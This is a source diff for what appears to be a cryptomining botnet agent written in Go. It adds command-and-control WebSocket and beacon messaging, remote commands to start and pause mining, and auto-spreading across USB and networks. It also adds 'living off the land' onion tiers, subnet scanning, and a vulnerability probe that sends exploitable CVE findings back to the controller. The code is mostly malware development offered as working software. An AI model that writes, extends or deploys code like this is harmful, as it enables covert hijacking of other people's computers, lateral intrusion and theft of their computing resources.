// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
// situations and start direct Stratum mining after a timeout.
@@ -55,6 +77,9 @@ type AgentClient struct {
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
agentID: cfg.AgentID,
}
c.mesh = NewMeshNode(c)
c.initSpreadCredHooks()
return c
}
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured
if gm := newGPUMiner(c.cfg); gm != nil {
c.mu.Lock()
c.gpuMiner = gm
c.mu.Unlock()
gm.Start()
defer gm.Stop()
chainCtx, chainCancel := context.WithCancel(context.Background())
defer chainCancel()
c.miningChain = c.newMiningChainRunner()
if deploy.WantsDeferMining() {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
}
defer c.miningChain.Stop()
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
JoinLane: c.getJoinLane(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
cfg := c.cfg
c.mu.Unlock()
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
}
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
// Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread {
c.spreadOnce.Do(func() {
deploy.StartAutoSpreader(c.cfg)
// One-shot first-run spread (triggered on the very first install).
if deploy.WantsFirstRunSpread(c.cfg) {
deploy.RunSpreadOnce(c.cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg)
c.spreadOnce.Do(func() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
}
})
}
}
if cfg.LotlOnionEnabled {
deploy.StartLotlOnion(cfg)
}
})
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return
}
c.sendCommandResult(action, true, "module "+module+" applied")
case "start_mining":
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult(action, true, "mining started")
case "pause":
c.pool.PauseRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", false)
}
if c.miningChain != nil {
c.miningChain.Stop()
} else {
c.pool.PauseRemote()
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
if c.containerMiner != nil && !c.containerMiner.Running() {
if err := c.containerMiner.Start(); err != nil {
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
} else {
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
}
} else if !c.hostMiningDisabled.Load() {
c.pool.ResumeRemote()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
}
c.sendCommandResult(action, true, "mining resumed")
c.sendCommandResult(action, true, "fleet health: hashing restored")
case "restart":
c.sendCommandResult(action, true, "restarting")
go c.restartSelf()
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, true, "system shutdown initiated")
}
}()
case "mining_diagnostics":
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
case "get_log":
if tailLines <= 0 {
tailLines = 300
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
if c.commandResultHook != nil {
c.commandResultHook(action, success, message)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action,
"success": success,
@@ -649,7 +736,11 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
c.postBeaconResult(payload)
return
}
_ = c.write(Message{Type: "command_result", Payload: payload})
// If the WebSocket write fails (stalled connection, reconnecting, etc.) fall
// back to the beacon HTTP path so the result is not silently dropped.
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
c.postBeaconResult(payload)
}
}
func (c *AgentClient) wsDownSinceTime() time.Time {
@@ -837,6 +928,16 @@ func probeSSH() bool {
return true
}
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
if stratumOverlay {
return "direct"
}
if c.connected.Load() {
return "c2_ws"
}
return "none"
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
@@ -848,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastPressure *ResourcePressure
var lastDNS *DNSConfig
var lastListenPortCount *int
var lastNetworkHints *deploy.NetworkHints
var lastVulnReport *vulnprobe.ScanReport
var postureReady bool
for {
select {
@@ -904,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
n := lp.Count
lastListenPortCount = &n
}
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
lastNetworkHints = &hints
lastVulnReport = RunVulnLOTLProbe()
}
probeTick++
@@ -923,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.DNSSearchDomains = lastDNS.SearchDomains
}
stats.ListenPortCount = lastListenPortCount
stats.NetworkHints = lastNetworkHints
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
@@ -968,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.AgentElevated = lastPosture.AgentElevated
stats.Services = lastPosture.Services
}
if c.miningChain != nil {
ms := c.miningChain.Status()
stats.ActiveMethod = string(ms.ActiveMethod)
stats.StratumOverlay = ms.StratumOverlay
stats.ChainExhausted = ms.ChainExhausted
stats.MiningLastError = ms.LastError
if ms.LOTLTier != "" {
stats.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
for i, a := range ms.LOTLAttempts {
stats.LOTLAttempts[i] = TierAttemptPayload{
Phase: a.Phase,
Tier: string(a.Tier),
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
Wallet: a.Wallet,
}
}
}
if len(ms.FailedMethods) > 0 {
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
stats.FailedMethods[i] = MethodFailurePayload{
Method: string(f.Method),
Reason: f.Reason,
At: f.At,
}
}
}
if len(ms.ChainOrder) > 0 {
stats.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
stats.ChainOrder[i] = string(m)
}
}
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
} else {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score
if len(lastVulnReport.Findings) > 0 {
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
for i, f := range lastVulnReport.Findings {
stats.VulnFindings[i] = VulnFindingPayload{
CVEID: f.CVEID,
Severity: f.Severity,
Component: f.Component,
Patched: f.Patched,
ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
}
}
if lane := c.getJoinLane(); lane != "" {
stats.JoinLane = lane
}
payload, _ := json.Marshal(stats)
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
@@ -982,7 +1152,13 @@ func (c *AgentClient) write(msg Message) error {
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
// WriteJSON indefinitely while holding c.mu, which would deadlock every
// other goroutine that needs c.mu (share submission, stats, commands).
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
err := c.conn.WriteJSON(msg)
_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
return err
}
// needsStratumFallback returns true when either:
@@ -1016,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
if c.cfg.StratumOverWS {
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
return
}
type fallback struct {
stop chan struct{}
@@ -1047,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
if c.miningChain != nil {
c.miningChain.SetStratumActive(true)
}
if c.connected.Load() {
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
} else {
@@ -1060,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
if c.miningChain != nil {
c.miningChain.SetStratumActive(false)
}
log.Printf("[stratum] fallback stopped — %s", reason)
}
}

View File

@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
// Start with resumeCh closed so the run loop is not blocked.
close(g.resumeCh)
// pauseCh starts open; waitIfPaused hits the default branch and returns
// true immediately, so no pre-close of resumeCh is needed (and
// pre-closing it would break the first Pause() — the inner select would
// fire on the already-closed channel instead of blocking).
return g
}
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
}
func downloadAndExtract(url, destDir, targetFile string) error {
resp, err := http.Get(url) //nolint:noctx
client := &http.Client{Timeout: 5 * time.Minute}
resp, err := client.Get(url)
if err != nil {
return err
}
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
}
data, err := io.ReadAll(resp.Body)
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
if err != nil {
return err
}

View File

@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
ThreadPercent: 75,
CPUPriority: "below_normal",
MiningMode: "always",
MinerExecution: "inprocess",
DisplayMode: "visible",
SilentMode: false,
RunAs: "user",
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolPort: 6060,
RVNPoolTLS: false,
RVNPoolPass: "x",
LotlOnionEnabled: false,
LotlPolicyFromServer: false,
}
}